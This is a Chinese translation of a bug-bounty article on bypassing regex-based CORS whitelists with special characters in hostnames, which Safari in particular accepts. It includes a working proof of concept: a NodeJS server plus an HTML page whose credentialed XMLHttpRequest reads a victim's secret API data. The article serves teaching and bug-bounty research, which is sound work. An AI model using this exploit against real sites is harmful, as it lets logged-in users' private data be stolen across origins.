导语:去年11月,我撰写了一篇关于Yahoo View的跨源资源共享绕过方面的文章,实际上,那篇文章中的技术利用了Safari对特殊字符的处理机制。之后,我又发现了另外一些检测绕过方法,所以,本文就是专门介绍这些更加高级技术的。
前言
在利用Safari的特殊字符处理机制方面,本人拜读过Linus Särud和Bo0oM撰写的两篇优秀文章:
· https://labs.detectify.com/2018/04/04/host-headers-safari/
· https://lab.wallarm.com/the-good-the-bad-and-the-ugly-of-safari-in-client-side-attacks-56d0cb61275a
这两篇文章深入探讨了利用Safari的行为进行XSS攻击或执行Cookie注入的实际情形,而本文的目标则是为大家带来更多的创意和选择!
简介
去年11月,我撰写了一篇关于Yahoo View的跨源资源共享绕过方面的文章,实际上,那篇文章中的技术利用了Safari对特殊字符的处理机制。之后,我又发现了另外一些检测绕过方法,所以,本文就是专门介绍这些更加高级技术的。
注意:
本文假设读者已经基本了解了CORS是什么,以及如何利用相关的错误配置。否则的话,请首先学习下面两篇文章:
背景知识:DNS&浏览器
快速回顾:
从本质上说,所谓域名系统实际上就是服务器的地址簿,其作用就是将主机名转换/映射为IP地址,从而提高互联网的易用性。
当您尝试访问浏览器中的URL时:
首先会执行DNS查询,以便将主机转换为IP地址;该查询操作会启动一个指向DNS服务器的TCP连接;然后,该服务器会用SYN+ACK应答进行响应;然后,浏览器向该服务器发送HTTP请求以检索相应内容;最后,浏览器会呈现/显示相应页面的内容。
如果读者习惯提供视觉方式进行思考的话,可以参考这里提供的图片,该图片形象地展示了域名解析过程。
实际上,DNS服务器能够响应任何请求——您可以发送子域中的任何字符,只要该域具有相应的泛解析记录(WildCard DNS Record),服务器就会提供响应。
例如:
dig A "<@$&(#+_\`^%~>.withgoogle.com" @1.1.1.1 | grep -A 1 "ANSWER SECTION"
浏览器呢?
在上面,我们看到DNS服务器会响应这些请求,但浏览器会如何处理它们呢?答案是:大多数浏览器在发送请求之前都会先验证域名。
例如:
Chrome:
Firefox:
Safari:
注意,上面说过大多数浏览器会验证域名,但不是所有浏览器都这样做,比如Safari:如果尝试加载相同的域,Safari实际上会发送请求并加载页面:
我们可以使用各种不同的字符,包括不可打印的字符:
,&'";!$^*()+=`~-_=|{}% // non printable chars %01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
深入考察CORS配置
大多数CORS配置中都包含一个由允许从终端读取信息的域名组成的白名单,这通常是通过正则表达式来达成的。
示例 #1:
^https?:\/\/(.*\.)?xxe\.sh$
意图:使用这个正则表达式实现配置的目的,是允许从xxe.sh及其所有子域(http://或https://)进行跨域访问。
攻击者要想从该端点窃取数据,唯一方法是对http(s)://xxe.sh / http(s)://*.xxe.sh发动XSS攻击或接管了所有子域。
示例 #2:
^https?:\/\/.*\.?xxe\.sh$
意图:与示例#1相同,即允许从xxe.sh及其任意子域进行跨域访问
这个正则表达式与第一个示例非常相似,但它存在的安全漏洞会导致该配置易受数据盗用的攻击。
问题出现在下面的正则表达式中:.*\.?
详细解释:
.* = 除行终止符以外的任何字符
\. = 句点符
? = 匹配次数,就本例来说表示匹配句点“.” 零次或一次。
由于.*\.没有位于捕捉组中,所以表示数量的?只对句点符号有影响,因此,在字符串“xxe.sh”之前可以放入任意字符,无论前面这些字符是否用句点符号进行分隔。
这意味着攻击者可以发送以xxe.sh结尾的任意地址,并且可以跨域访问。
这是一种非常常见的检测绕过方法——下面给出一个真实的例子:
https://hackerone.com/reports/168574
示例 #3:
^https?:\/\/(.*\.)?xxe\.sh\:?.*
意图:这可能是为了允许从xxe.sh、所有子域以及这些域上的任何端口进行跨域访问。
你能发现问题吗?
详细解释:
\: = 匹配冒号,即:
? = 匹配次数,就本例来说表示匹配冒号“:”零次或一次。
.* = 除行终止符以外的任何字符
就像第二个例子一样,表示匹配次数的?只针对冒号。因此,如果我们发送的域名在xxe.sh之后还有其他字符的话,仍然会被接受。
价值百万美元的问题:
在利用CORS相关的错误配置时,Safari是如何处理特殊字符的?
下面我们以Apache配置为例进行说明:
SetEnvIf Origin "^https?:\/\/(.*\.)?xxe.sh([^\.\-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
意图:这可能是为了允许从xxe.sh、所有子域以及这些域上的任何端口进行跨域访问。
下面,我们对表达式进行详细解读。
[^\.\-a-zA-Z0-9] = 不匹配这些字符:"." "-" "a-z" "A-Z" "0-9"
+ = 匹配次数:匹配上面的字符一次或无数次
.* = 除行终止符之外的任意字符
这个API无法访问前面例子中的域,并且其他常见的绕过方法也无济于事。针对*.xxe.sh的子域接管或XSS攻击,只能用来窃取数据,但是,我们可以在此基础上发挥创造性!
我们知道,任何诸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不会被信任的,但是,在字符串“xxe.sh”之后有空格的域名的情况又如何呢?
我们看到,它是被信任的,但是,普通浏览器都不支持这样的域。
由于正则表达式匹配字母数字ASCII字符以及. -,所以,“xxe.sh”之后的特殊字符是被信任的:
然而,有一种现代通用浏览器是支持这种域名的:Safari。
漏洞利用:
先决条件:
· 具有泛解析记录的域指向您的机器。
· NodeJS。
和大多数浏览器一样,Apache和Nginx(即开箱即用)也不喜欢这些特殊字符,所以使用NodeJS为HTML和Javascript提供服务会更容易一些。
[+] serve.js
var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data); res.end(); }); } else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
在同一个目录中,保存以下内容:
[+] cors.html
<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"> <center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"> </textarea><br> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("pwnz").innerHTML = this.responseText; } }; xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true); xhttp.withCredentials = true; xhttp.send(); } </script>
启动NodeJS服务器,具体命令如下所示:
node serve.js &
正如之前所述,由于正则表达式与字母数字ASCII字符和. -相匹配,所以,“xxe.sh”之后的特殊字符将获得信任:
因此,如果我们打开Safari并访问http://x.xxe.sh{.<your-domain>/cors-poc,就能够成功地从易受攻击的终端中窃取数据。
编辑:我注意到,字符_(在子域中)不仅在Safari中受支持,而且Chrome和Firefox也支持该字符!
因此,http://x.xxe.sh_.<your-domain>/cors-poc能从最常见的各种浏览器发送有效域名!在此要感谢Prakash,你太棒了!
实际测试
利用这些特殊字符,找出Access-Control-Allow-Origin头文件中反映了哪些域可能是一项冗长而费时的任务:
关于TheftFuzzer:
为了节省时间并提高效率,我决定编写一个工具对相应的CORS配置进行模糊测试,以获取允许的域名。这个工具是用Python编写的,它能够为潜在的CORS绕过方法生成不同的组合变换。读者可以从Github上下载该工具,如果您对该工具有任何改进意见,请随时通知我!
小结
我希望通过这篇文章为读者提供一些有用的信息,以便帮他们利用这些CORS配置赢取一些奖金。哈哈,狩猎愉快!
Corben Leo
· https://twitter.com/hacker_
· https://hackerone.com/cdl
· https://bugcrowd.com/c
· https://github.com/sxcurity